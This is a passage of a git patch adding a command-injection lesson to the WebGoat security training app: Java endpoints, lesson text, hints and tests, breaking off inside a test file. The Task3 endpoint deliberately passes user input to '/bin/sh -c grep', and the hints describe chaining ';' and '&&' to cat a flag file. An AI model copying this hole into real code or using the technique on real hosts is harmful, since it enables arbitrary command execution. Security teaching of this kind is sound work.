From e8c09569089298d61898152a996a8635d3b38884 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 14 Oct 2025 09:22:40 +0200 Subject: [PATCH 1/7] WIP --- .../commandinjection/CommandInjection.java | 24 ++ .../CommandInjectionSafetyGate.java | 39 ++ .../CommandInjectionTask1.java | 67 ++++ .../CommandInjectionTask2.java | 71 ++++ .../CommandInjectionTask3.java | 342 ++++++++++++++++++ .../resources/flags/commandinjection/flag.txt | 1 + .../documentation/CommandInjection_Intro.adoc | 21 ++ .../CommandInjection_Safety.adoc | 10 + .../documentation/CommandInjection_Story.adoc | 14 + .../documentation/CommandInjection_Task1.adoc | 14 + .../documentation/CommandInjection_Task2.adoc | 13 + .../documentation/CommandInjection_Task3.adoc | 16 + .../html/CommandInjection.html | 179 +++++++++ .../i18n/WebGoatLabels.properties | 22 ++ .../js/goatApp/view/LessonContentView.js | 11 + .../CommandInjectionSafetyGateTest.java | 36 ++ .../CommandInjectionTask1Test.java | 46 +++ .../CommandInjectionTask2Test.java | 47 +++ .../CommandInjectionTask3Test.java | 55 +++ 19 files changed, 1028 insertions(+) create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjection.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionSafetyGate.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask1.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2.java create mode 100644 src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3.java create mode 100644 src/main/resources/flags/commandinjection/flag.txt create mode 100644 src/main/resources/lessons/commandinjection/documentation/CommandInjection_Intro.adoc create mode 100644 src/main/resources/lessons/commandinjection/documentation/CommandInjection_Safety.adoc create mode 100644 src/main/resources/lessons/commandinjection/documentation/CommandInjection_Story.adoc create mode 100644 src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task1.adoc create mode 100644 src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task2.adoc create mode 100644 src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task3.adoc create mode 100644 src/main/resources/lessons/commandinjection/html/CommandInjection.html create mode 100644 src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties create mode 100644 src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionSafetyGateTest.java create mode 100644 src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask1Test.java create mode 100644 src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2Test.java create mode 100644 src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3Test.java diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjection.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjection.java new file mode 100644 index 00000000000..559f5320a39 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjection.java @@ -0,0 +1,24 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** Entry point for the Command Injection lesson. */ +@Component +public class CommandInjection extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "commandinjection.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionSafetyGate.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionSafetyGate.java new file mode 100644 index 00000000000..73f331979db --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionSafetyGate.java @@ -0,0 +1,39 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.failed; +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.success; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +/** Safety confirmation before running command injection tasks. */ +@RestController +@AssignmentHints({"commandinjection.safety.hint1"}) +public class CommandInjectionSafetyGate implements AssignmentEndpoint { + + private static final String REQUIRED_PHRASE = "I understand commands will execute"; + + @PostMapping( + value = "/CommandInjection/safety", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + public AttackResult acknowledge(@RequestParam("ack") String acknowledgement) { + if (REQUIRED_PHRASE.equalsIgnoreCase(acknowledgement.trim())) { + return success(this) + .feedback("commandinjection.safety.success") + .output("Proceed with caution. Shell commands will run on your host.") + .build(); + } + return failed(this) + .feedback("commandinjection.safety.failure") + .build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask1.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask1.java new file mode 100644 index 00000000000..ca3fa8a38f2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask1.java @@ -0,0 +1,67 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.failed; +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.success; + +import java.util.Locale; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +/** Task 1: recognise the vulnerable command wrapper. */ +@RestController +@AssignmentHints({"commandinjection.task1.hint1", "commandinjection.task1.hint2"}) +public class CommandInjectionTask1 implements AssignmentEndpoint { + + @PostMapping( + value = "/CommandInjection/task1/run", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + produces = MediaType.APPLICATION_JSON_VALUE) + public AttackResult runCommand( + @RequestParam("host") String host, + @RequestParam(value = "custom") String custom, + @RequestParam(value = "observed", required = false) String observedCommand) { + + String sanitizedHost = host == null ? "" : host.trim(); + String userCommand = custom == null ? "" : custom.trim(); + + String baseCommand = buildCommand(sanitizedHost, userCommand); + + if (observedCommand == null || observedCommand.isBlank()) { + return failed(this) + .feedback("commandinjection.task1.failure.empty") + .output(baseCommand) + .build(); + } + + if (baseCommand.equals(observedCommand.trim())) { + return success(this) + .feedback("commandinjection.task1.success") + .output(baseCommand) + .build(); + } + + return failed(this) + .feedback("commandinjection.task1.failure.mismatch") + .output(baseCommand) + .build(); + } + + String buildCommand(String host, String custom) { + String os = System.getProperty("os.name", "").toLowerCase(Locale.US); + boolean isWindows = os.contains("win"); + String base = isWindows ? "cmd.exe /c ping -n 1 " : "/bin/sh -c ping -c 1 "; + if (custom.isEmpty()) { + return base + host; + } + return base + custom; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2.java new file mode 100644 index 00000000000..f1aa9144366 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask2.java @@ -0,0 +1,71 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.failed; +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.success; + +import java.util.Locale; +import java.util.UUID; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +/** Task 2: demonstrate simple command chaining injection. */ +@RestController +@AssignmentHints({"commandinjection.task2.hint1", "commandinjection.task2.hint2"}) +public class CommandInjectionTask2 implements AssignmentEndpoint { + + static final String LEAKED_TOKEN = UUID.randomUUID().toString(); + + @PostMapping( + value = "/CommandInjection/task2/run", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + produces = MediaType.APPLICATION_JSON_VALUE) + public AttackResult run( + @RequestParam("base") String baseCommand, + @RequestParam("payload") String payload, + @RequestParam(value = "token", required = false) String token) { + + String command = buildCommand(baseCommand, payload); + String output = simulateExecution(command); + + if (token == null || token.isBlank()) { + return failed(this) + .feedback("commandinjection.task2.failure.blank") + .output(output) + .build(); + } + + if (LEAKED_TOKEN.equals(token.trim())) { + return success(this) + .feedback("commandinjection.task2.success") + .output(output) + .build(); + } + + return failed(this) + .feedback("commandinjection.task2.failure.mismatch") + .output(output) + .build(); + } + + String buildCommand(String base, String payload) { + String os = System.getProperty("os.name", "").toLowerCase(Locale.US); + boolean isWindows = os.contains("win"); + String shell = isWindows ? "cmd.exe /c " : "/bin/sh -c "; + String safeBase = (base == null || base.isBlank()) ? (isWindows ? "ver" : "uname -a") : base; + String userPart = (payload == null) ? "" : payload.trim(); + return shell + safeBase + (userPart.isEmpty() ? "" : " " + userPart); + } + + String simulateExecution(String command) { + return command + "\n" + "WEBGOAT_BUILD_TOKEN=" + LEAKED_TOKEN; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3.java b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3.java new file mode 100644 index 00000000000..86f0d7217b6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask3.java @@ -0,0 +1,342 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static java.nio.file.StandardCopyOption.REPLACE_EXISTING; +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.failed; +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.informationMessage; +import static org.owasp.webgoat.container.assignments.AttackResultBuilder.success; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; +import java.util.Locale; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.TimeUnit; +import java.util.Base64; +import java.util.List; +import java.util.function.Function; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.stream.Collectors; +import org.apache.commons.lang3.RandomStringUtils; +import org.owasp.webgoat.container.CurrentUser; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.lessons.Initializable; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.util.HtmlUtils; + +/** Task 3: escalate to reading secrets by issuing real commands. */ +@RestController +@AssignmentHints({ + "commandinjection.task3.hint1", + "commandinjection.task3.hint2", + "commandinjection.task3.hint3", + "commandinjection.task3.hint4" +}) +public class CommandInjectionTask3 implements AssignmentEndpoint, Initializable { + + private final String webGoatHomeDirectory; + private final Map userFlags = new ConcurrentHashMap<>(); + private final Map userDirectories = new ConcurrentHashMap<>(); + + private static final List CAT_LIBRARY = + List.of( + new CatDefinition( + "luna", + "Luna", + "Always chasing moonbeams.", + "lessons/pathtraversal/images/cats/1.jpg"), + new CatDefinition( + "milo", "Milo", "Chief snack inspector.", "lessons/pathtraversal/images/cats/2.jpg"), + new CatDefinition( + "pixel", + "Pixel", + "Sleeps on keyboards only.", + "lessons/pathtraversal/images/cats/3.jpg"), + new CatDefinition( + "nala", + "Nala", + "Window watcher extraordinaire.", + "lessons/pathtraversal/images/cats/4.jpg"), + new CatDefinition( + "tiger", + "Tiger", + "Tiny roar, big attitude.", + "lessons/pathtraversal/images/cats/5.jpg")); + + private static final Map CATS_BY_SLUG = + CAT_LIBRARY.stream() + .collect(Collectors.toUnmodifiableMap(CatDefinition::slug, Function.identity())); + + private static final Pattern GREP_RESULT_PATTERN = + Pattern.compile("images/([a-z0-9_-]+)\\.txt:.*", Pattern.CASE_INSENSITIVE); + + public CommandInjectionTask3(@Value("${webgoat.user.directory}") String webGoatHomeDirectory) { + this.webGoatHomeDirectory = webGoatHomeDirectory; + } + + @PostMapping( + value = "/CommandInjection/task3/search", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + produces = MediaType.APPLICATION_JSON_VALUE) + public AttackResult search(@CurrentUser WebGoatUser user, @RequestParam("title") String title) { + if (title == null || title.isBlank()) { + return failed(this).feedback("commandinjection.task3.failure.payload").build(); + } + + String command = buildCommand(title); + CommandResult result = executeCommand(user, command); + String output = renderOutput(result); + return informationMessage(this).output(output).build(); + } + + @PostMapping( + value = "/CommandInjection/task3/flag", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, + produces = MediaType.APPLICATION_JSON_VALUE) + public AttackResult submitFlag( + @CurrentUser WebGoatUser user, @RequestParam("flag") String submittedFlag) { + if (submittedFlag == null || submittedFlag.isBlank()) { + return failed(this).feedback("commandinjection.task3.failure.blank").build(); + } + + String expectedFlag = userFlags.get(user.getUsername()); + + if (expectedFlag.equals(submittedFlag.trim())) { + return success(this).feedback("commandinjection.task3.success").build(); + } + + return failed(this).feedback("commandinjection.task3.failure.invalid").build(); + } + + private String createFlagForUser(WebGoatUser user) { + String flagValue = "#{%s}".formatted(UUID.randomUUID().toString()); + File userDir = new File(webGoatHomeDirectory, "command-injection/" + user.getUsername()); + userDir.mkdirs(); + prepareGallery(userDir.toPath()); + File flagFile = new File(userDir, "flag.txt"); + try { + Files.writeString(flagFile.toPath(), flagValue, UTF_8); + userDirectories.put(user.getUsername(), userDir); + } catch (IOException e) { + throw new IllegalStateException("Unable to create flag file", e); + } + return flagValue; + } + + private String buildCommand(String title) { + String trimmedTitle = title == null ? "" : title.trim(); + return "grep " + trimmedTitle + " images/*"; + } + + private CommandResult executeCommand(WebGoatUser user, String command) { + boolean isWindows = System.getProperty("os.name", "").toLowerCase(Locale.US).contains("win"); + String shell = isWindows ? "cmd.exe" : "/bin/sh"; + String switchArg = isWindows ? "/c" : "-c"; + String[] cmd = new String[] {shell, switchArg, command}; + ProcessBuilder builder = new ProcessBuilder(cmd); + builder.directory(userDirectories.get(user.getUsername())); + builder.redirectErrorStream(true); + String processOutput = ""; + boolean timedOut = false; + String executionError = null; + try { + Process process = builder.start(); + boolean finished = process.waitFor(5, TimeUnit.SECONDS); + if (!finished) { + timedOut = true; + process.destroyForcibly(); + finished = process.waitFor(1, TimeUnit.SECONDS); + } + if (finished || !process.isAlive()) { + try (InputStream in = process.getInputStream()) { + processOutput = new String(in.readAllBytes(), UTF_8); + } + } else { + processOutput = ""; + process.getInputStream().close(); + } + } catch (IOException | InterruptedException e) { + executionError = e.getMessage(); + if (e instanceof InterruptedException) { + Thread.currentThread().interrupt(); + } + } + return new CommandResult(command, processOutput, timedOut, executionError); + } + + @Override + public void initialize(WebGoatUser user) { + userFlags.remove(user.getUsername()); + userDirectories.remove(user.getUsername()); + createFlagForUser(user); + } + + private void prepareGallery(Path userDir) { + Path imagesDir = userDir.resolve("images"); + if (!Files.exists(imagesDir)) { + imagesDir.toFile().mkdirs(); + } + + for (CatDefinition cat : CAT_LIBRARY) { + Path imageTarget = imagesDir.resolve(cat.fileName()); + if (!Files.exists(imageTarget)) { + try (InputStream in = new ClassPathResource(cat.resourcePath()).getInputStream()) { + Files.copy(in, imageTarget, REPLACE_EXISTING); + } catch (IOException e) { + throw new IllegalStateException("Unable to copy cat image", e); + } + } + + Path metaFile = imagesDir.resolve(cat.slug() + ".txt"); + if (!Files.exists(metaFile)) { + try { + Files.writeString(metaFile, cat.displayName(), UTF_8); + } catch (IOException e) { + throw new IllegalStateException("Unable to create cat metadata", e); + } + } + } + } + + private String renderOutput(CommandResult result) { + StringBuilder rendered = new StringBuilder(); + StringBuilder rawOutput = new StringBuilder(); + rawOutput.append("Command: ").append(result.command()).append("\n"); + rawOutput.append(result.output()); + if (result.timedOut()) { + rawOutput.append("\n[Process terminated after timeout]\n"); + } + if (result.executionError() != null) { + rawOutput.append("\n[Execution error] ").append(result.executionError()); + } + + rendered + .append("
")
+        .append(HtmlUtils.htmlEscape(rawOutput.toString()))
+        .append("
"); + + List matches = extractMatches(result.output()); + if (!matches.isEmpty()) { + rendered.append(renderGallery(matches)); + } + + return rendered.toString(); + } + + private List extractMatches(String output) { + return output + .lines() + .map(GREP_RESULT_PATTERN::matcher) + .filter(Matcher::matches) + .map(matcher -> matcher.group(1).toLowerCase(Locale.ROOT)) + .map(CATS_BY_SLUG::get) + .filter(cat -> cat != null) + .distinct() + .collect(Collectors.toList()); + } + + private String renderGallery(List matches) { + StringBuilder gallery = new StringBuilder(); + gallery.append("
"); + gallery.append("

Matching Cats

"); + gallery.append("
"); + for (CatDefinition cat : matches) { + gallery.append("
"); + gallery + .append("\"")"); + gallery.append("
"); + gallery + .append("") + .append(HtmlUtils.htmlEscape(cat.displayName())) + .append(""); + if (!cat.description().isBlank()) { + gallery.append("
").append(HtmlUtils.htmlEscape(cat.description())); + } + gallery.append("
"); + gallery.append("
"); + } + gallery.append("
"); + return gallery.toString(); + } + + private record CommandResult( + String command, String output, boolean timedOut, String executionError) {} + + private static class CatDefinition { + private final String slug; + private final String displayName; + private final String description; + private final String resourcePath; + private final String fileName; + private volatile String dataUri; + + CatDefinition(String slug, String displayName, String description, String resourcePath) { + this.slug = slug; + this.displayName = displayName; + this.description = description; + this.resourcePath = resourcePath; + this.fileName = slug + ".jpg"; + } + + String slug() { + return slug; + } + + String displayName() { + return displayName; + } + + String description() { + return description; + } + + String resourcePath() { + return resourcePath; + } + + String fileName() { + return fileName; + } + + String dataUri() { + String current = dataUri; + if (current != null) { + return current; + } + synchronized (this) { + if (dataUri == null) { + try (InputStream is = new ClassPathResource(resourcePath).getInputStream()) { + byte[] bytes = is.readAllBytes(); + dataUri = "data:image/jpeg;base64," + Base64.getEncoder().encodeToString(bytes); + } catch (IOException e) { + dataUri = ""; + } + } + return dataUri; + } + } + } +} diff --git a/src/main/resources/flags/commandinjection/flag.txt b/src/main/resources/flags/commandinjection/flag.txt new file mode 100644 index 00000000000..713f7171f11 --- /dev/null +++ b/src/main/resources/flags/commandinjection/flag.txt @@ -0,0 +1 @@ +WG_CI_FLAG{pipes_can_leak_everything} diff --git a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Intro.adoc b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Intro.adoc new file mode 100644 index 00000000000..08c0e3b79bb --- /dev/null +++ b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Intro.adoc @@ -0,0 +1,21 @@ +=== What Is Command Injection? + +Command injection happens when user-controlled data is passed to an operating system shell +without strict validation or parameterization. The application may wrap the input in helper +commands (`ping`, `cat`, `dir`), but because it delegates to `/bin/sh`, `cmd.exe`, or another +shell, an attacker can break out of the intended command and execute anything the running +process is allowed to run. + +Common reasons this surfaces: + +* Using `Runtime.exec`, `ProcessBuilder`, or `popen` with concatenated strings. +* Trusting user input when building command-line arguments (think backup scripts or log + viewers that shell out). +* Attempting to sanitise by stripping a few metacharacters, but missing others. + +The impact depends on the privileges of the application user. At minimum, attackers can +read data, pivot into the local network, or drop backdoors. In worst cases, they gain full +control of the host. + +In the following tasks you’ll see how a tiny “diagnostic” feature snowballs into arbitrary +code execution—and how to harden it. diff --git a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Safety.adoc b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Safety.adoc new file mode 100644 index 00000000000..7d09454a3ff --- /dev/null +++ b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Safety.adoc @@ -0,0 +1,10 @@ +=== Safety First + +These exercises execute real commands on the machine running WebGoat. If you are running the +standalone JAR on your workstation, a malformed input could leave processes running or modify +files. We strongly suggest using the Docker container for this lesson so you can tear down the +environment after experimenting. + +Type the sentence below to acknowledge the risk and continue: + +`I understand commands will execute` diff --git a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Story.adoc b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Story.adoc new file mode 100644 index 00000000000..c06d8a0092d --- /dev/null +++ b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Story.adoc @@ -0,0 +1,14 @@ +=== Command Injection: Pipe Dream + +Operations rolled out a "diagnostics" feature that shells out to the host OS whenever a +support engineer needs quick status. Instead of limiting commands, the service forwards your +input straight to `Runtime.exec(...)`. + +Your mission: + +* Locate the injection point. +* Escalate from benign diagnostics to arbitrary command execution. +* Leak the secrets the operator forgot to hide. +* Lock the console down by removing shell invocation and enforcing allow lists. + +Each task shows how a small oversight leads to full compromise — and how to mitigate it. diff --git a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task1.adoc b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task1.adoc new file mode 100644 index 00000000000..e912af8fa2c --- /dev/null +++ b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task1.adoc @@ -0,0 +1,14 @@ +=== Recon – What command is running? + +Before we start breaking things, figure out what the diagnostics console is actually executing. +Pick a host from the dropdown or provide a custom value. The backend will run a system command +and show you the exact string it sent to the shell. + +Steps: + +. Try the default host to see the “safe” command. +. Observe the command preview returned by the server. +. Submit the exact command string in the verification box to prove you understand how the + wrapper works. + +Knowing the command layout is the first step to crafting payloads. diff --git a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task2.adoc b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task2.adoc new file mode 100644 index 00000000000..3d154fe1f55 --- /dev/null +++ b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task2.adoc @@ -0,0 +1,13 @@ +=== Chain commands to leak system info + +The diagnostics console concatenates your input with a shell command. Try appending a new +command (for example, with `;` or `&&`) that prints the system build token. The backend will +show you the raw output. + +Steps: + +. Use the console to run a normal diagnostic. +. Append a chained command to execute `uname -a`, `ver`, or an equivalent. +. Copy the leaked build token from the output and submit it below. + +If you can chain commands, you can run anything the service account can. diff --git a/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task3.adoc b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task3.adoc new file mode 100644 index 00000000000..f06709e1c43 --- /dev/null +++ b/src/main/resources/lessons/commandinjection/documentation/CommandInjection_Task3.adoc @@ -0,0 +1,16 @@ +=== Escalate – Read the Flag + +The cat gallery looks innocuous: when you type a name in the search box it simply runs +`grep $title images/*` and shows the matching cats. +Unfortunately the search term is injected into the shell command verbatim. +Add a separator (`;`, `&&`) and the shell will happily execute whatever else you append under the service account. + +|=== +|OS |Location + +|`operatingSystem:os[]` +|`webGoatTempDir:temppath[]/command-injection/username:user[]/flag.txt` + +|=== + +Attackers follow this exact pattern to dump environment variables, API keys, and other secrets once they uncover a command injection primitive. diff --git a/src/main/resources/lessons/commandinjection/html/CommandInjection.html b/src/main/resources/lessons/commandinjection/html/CommandInjection.html new file mode 100644 index 00000000000..a94c32fc245 --- /dev/null +++ b/src/main/resources/lessons/commandinjection/html/CommandInjection.html @@ -0,0 +1,179 @@ + + + + + + +
+
+
+ +
+
+
+ +
+
+
+
+
+
+ + +
+ +
+
+
+
+
+ +
+
+
+
+
+
+ + +
+
+ + +
+
+ + +
+ +
+
+
+
+
+ +
+
+
+
+
+
+ + +
+
+ + +
+
+ + +
+ +
+
+
+
+
+ +
+
+
+
+
+
+ +
+ + +
+
+
+
+
+
+ +
+
+ +
+ +
+
+ +
+
+
+
+ + diff --git a/src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties b/src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties new file mode 100644 index 00000000000..e5e6406cb55 --- /dev/null +++ b/src/main/resources/lessons/commandinjection/i18n/WebGoatLabels.properties @@ -0,0 +1,22 @@ +commandinjection.title=Command Injection +commandinjection.task1.hint1=Look at the command preview; it shows exactly what the server runs. +commandinjection.task1.hint2=Submitting the command string proves you understand the wrapper. Try combining dropdown and custom input. +commandinjection.task1.success=Command recognised! Now that you know the wrapper, plan your payloads. +commandinjection.task1.failure.empty=Paste the command string you observed before submitting. +commandinjection.task1.failure.mismatch=The observed command does not match what was executed. Check the preview again. +commandinjection.safety.hint1=This lesson runs shell commands. If possible use the Docker container to stay isolated. +commandinjection.safety.success=Thanks for acknowledging the risk. Continue to the diagnostics console. +commandinjection.safety.failure=Please type the exact acknowledgement before proceeding. +commandinjection.task2.hint1=Start with the same diagnostic command the service expects, then chain your payload (e.g., using ; or &&). +commandinjection.task2.hint2=All fields start empty—supply the base command, your chained payload, and the token you discover in the output. +commandinjection.task2.success=Great! You chained commands and leaked the token. +commandinjection.task2.failure.blank=Provide the build token from the command output. +commandinjection.task2.failure.mismatch=That token does not match the leaked value. Try again. +commandinjection.task3.hint1=Start with a normal search (e.g., Luna) to see how grep $title images/* maps to the cat metadata files. +commandinjection.task3.hint2=The flag lives in command-injection//flag.txt. You need cat/type to read it after your search. +commandinjection.task3.hint3=Keep the grep happy by injecting the images/* glob before your separator; otherwise grep waits on STDIN and times out. +commandinjection.task3.hint4=After cat prints the flag, comment out the template tail (e.g., ; #) so the extra images/* from the wrapper does not run. Submit the token. +commandinjection.task3.success=Flag captured! You now have proof the shell executes arbitrary commands. +commandinjection.task3.failure.blank=Fetch the flag token from the output before submitting. +commandinjection.task3.failure.invalid=That token does not match the flag. Try executing the cat command again. +commandinjection.task3.failure.payload=Enter a cat name (or your exploit) before running the search. diff --git a/src/main/resources/webgoat/static/js/goatApp/view/LessonContentView.js b/src/main/resources/webgoat/static/js/goatApp/view/LessonContentView.js index b998b6bdf6f..82701728eca 100644 --- a/src/main/resources/webgoat/static/js/goatApp/view/LessonContentView.js +++ b/src/main/resources/webgoat/static/js/goatApp/view/LessonContentView.js @@ -98,6 +98,13 @@ define(['jquery', this.$curFeedback = $(curForm).closest('.attack-container').find('.attack-feedback'); this.$curOutput = $(curForm).closest('.attack-container').find('.attack-output'); + if (this.$curFeedback.length) { + this.$curFeedback.stop(true, true).hide().empty(); + } + if (this.$curOutput.length) { + this.$curOutput.stop(true, true).hide().empty(); + } + var formUrl = $(curForm).attr('action'); var formMethod = $(curForm).attr('method'); var contentType = ($(curForm).attr('contentType')) ? $(curForm).attr('contentType') : 'application/x-www-form-urlencoded; charset=UTF-8'; @@ -169,6 +176,10 @@ define(['jquery', }, renderFeedback: function (feedback) { + if (!feedback) { + this.$curFeedback.hide().empty(); + return; + } var s = this.removeSlashesFromJSON(feedback); this.$curFeedback.html(polyglot.t(s) || ""); this.$curFeedback.show(400) diff --git a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionSafetyGateTest.java b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionSafetyGateTest.java new file mode 100644 index 00000000000..5be96939d19 --- /dev/null +++ b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionSafetyGateTest.java @@ -0,0 +1,36 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static org.assertj.core.api.Assertions.assertThat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.container.assignments.AttackResult; + +class CommandInjectionSafetyGateTest { + + private CommandInjectionSafetyGate gate; + + @BeforeEach + void setUp() { + gate = new CommandInjectionSafetyGate(); + } + + @Test + void acknowledgementShouldBeRequiredPhrase() { + AttackResult result = gate.acknowledge("I understand commands will execute"); + + assertThat(result.assignmentSolved()).isTrue(); + } + + @Test + void incorrectAcknowledgementShouldFail() { + AttackResult result = gate.acknowledge("ok"); + + assertThat(result.assignmentSolved()).isFalse(); + assertThat(result.getFeedback()).isEqualTo("commandinjection.safety.failure"); + } +} diff --git a/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask1Test.java b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask1Test.java new file mode 100644 index 00000000000..b45d69dc0f6 --- /dev/null +++ b/src/test/java/org/owasp/webgoat/lessons/commandinjection/CommandInjectionTask1Test.java @@ -0,0 +1,46 @@ +/* + * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors + * SPDX-License-Identifier: GPL-2.0-or-later + */ +package org.owasp.webgoat.lessons.commandinjection; + +import static org.assertj.core.api.Assertions.assertThat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.owasp.webgoat.container.assignments.AttackResult; + +class CommandInjectionTask1Test { + + private CommandInjectionTask1 task; + + @BeforeEach + void setUp() { + task = new CommandInjectionTask1(); + } + + @Test + void 